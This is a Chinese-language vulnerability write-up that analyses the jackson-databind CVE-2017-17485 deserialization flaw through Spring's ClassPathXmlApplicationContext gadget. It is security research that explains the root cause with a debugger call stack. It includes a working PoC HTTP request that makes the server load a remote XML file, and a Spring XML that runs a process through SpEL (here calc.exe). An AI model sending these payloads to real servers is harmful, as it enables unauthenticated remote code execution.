NVD描述:
FasterXML jackson-databind through 2.8.10 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 deserialization flaw. This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the Spring libraries are available in the classpath.
對CVE-2017-7525修復不完善導致的黑名單繞過;gadget爲org.springframework.context.support.ClassPathXmlApplicationContext
,即需要Spring相關的類在其classpath中。
參考
- https://www.cnblogs.com/afanti/p/10203282.html
- https://github.com/shengqi158/Jackson-databind-RCE-PoC/tree/master/src/main/java/jackson
- https://github.com/RealBearcat/Jackson-CVE-2017-17485
PoC:
POST /jackson/deserialize2 HTTP/1.1
Host: cqq.com:8080
Connection: close
Cookie: confluence-sidebar.width=285; confluence.browse.space.cookie=space-blogposts; JSESSIONID=F68E43CB2450951588F85C6054FF2814; XSRF-TOKEN=867c4ff2-4228-4e97-b9fa-81319af3502b; remember-me=YWRtaW46MTU4NjQ4OTM3NjIwMzo0ODFhYmVjZjBhODYxMmVlOTE0NmJhZTU5OGYwN2EwMQ
Content-Type: application/json
Content-Length: 171
{"id":1, "obj":["org.springframework.context.support.ClassPathXmlApplicationContext", "https://raw.githubusercontent.com/iBearcat/Jackson-CVE-2017-17485/master/spel.xml"]}
原因在於:
org.springframework.context.support.ClassPathXmlApplicationContext
的構造器可以從一個url字符串中加載configLocations:
其接收輸入的點在其接收String類型的構造器,
具體觸發漏洞的邏輯在refresh方法中,繼續跟進:
我理解這個原理是可控Spring的配置文件:
然後在配置文件中可以執行任意SpEL表達式?
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
spring-context-4.3.6.RELEASE.jar!\org\springframework\context\expression\StandardBeanExpressionResolver#evaluate(String value, BeanExpressionContext evalContext)
最後這一步
spring-expression-4.3.6.RELEASE.jar!\org\springframework\expression\spel\standard\SpelExpression#getValue(EvaluationContext context)
就不用F7了吧,放一個GIF:
調用棧如下:
getValue:243, SpelExpression (org.springframework.expression.spel.standard)
evaluate:161, StandardBeanExpressionResolver (org.springframework.context.expression)
evaluateBeanDefinitionString:1448, AbstractBeanFactory (org.springframework.beans.factory.support)
doEvaluate:255, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
evaluate:214, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
resolveValueIfNecessary:186, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
applyPropertyValues:1531, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
populateBean:1276, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:553, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:483, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
getObject:306, AbstractBeanFactory$1 (org.springframework.beans.factory.support)
getSingleton:230, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:302, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:197, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:761, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:866, AbstractApplicationContext (org.springframework.context.support)
refresh:542, AbstractApplicationContext (org.springframework.context.support)
<init>:139, ClassPathXmlApplicationContext (org.springframework.context.support)
<init>:83, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:408, Constructor (java.lang.reflect)
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:326, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1351, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:170, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:161, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserializeAndSet:138, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:287, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4001, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2992, ObjectMapper (com.fasterxml.jackson.databind)
deserialize2:109, Jackson (org.joychou.controller)